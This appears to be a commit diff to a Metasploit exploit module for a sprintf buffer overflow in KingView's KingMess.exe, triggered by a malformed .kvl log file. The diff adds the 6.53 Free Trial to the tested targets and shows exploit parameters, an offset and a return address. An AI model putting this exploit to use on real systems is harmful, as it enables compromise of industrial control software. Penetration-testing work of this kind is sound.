definitely the free trial of 6.53 is also vulnerable

Author: jvazquez-r7

modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb

@@ -20,7 +20,8 @@ def initialize(info={})
 				the KingMess.exe application when handling log files, due to the insecure usage of
 				sprintf. This module uses a malformed .kvl file which must be opened by the victim
 				via the KingMess.exe application, through the 'Browse Log Files' option. The module
-				has been tested successfully on KingView 6.52 over Windows XP SP3.
+				has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over
+				Windows XP SP3.
 			},
 			'License'        => MSF_LICENSE,
 			'Author'         =>
@@ -50,7 +51,7 @@ def initialize(info={})
 			'Platform'       => 'win',
 			'Targets'        =>
 				[
-					[ 'KingView 6.52 English / Kingmess.exe 65.20.2003.10300 / Windows XP SP3',
+					[ 'KingView 6.52 English / KingView 6.53 Free Trial / Kingmess.exe 65.20.2003.10300 / Windows XP SP3',
 						{
 							'Offset' => 295,
 							'Ret'    => 0x77c35459 # push esp # ret # msvcrt.dll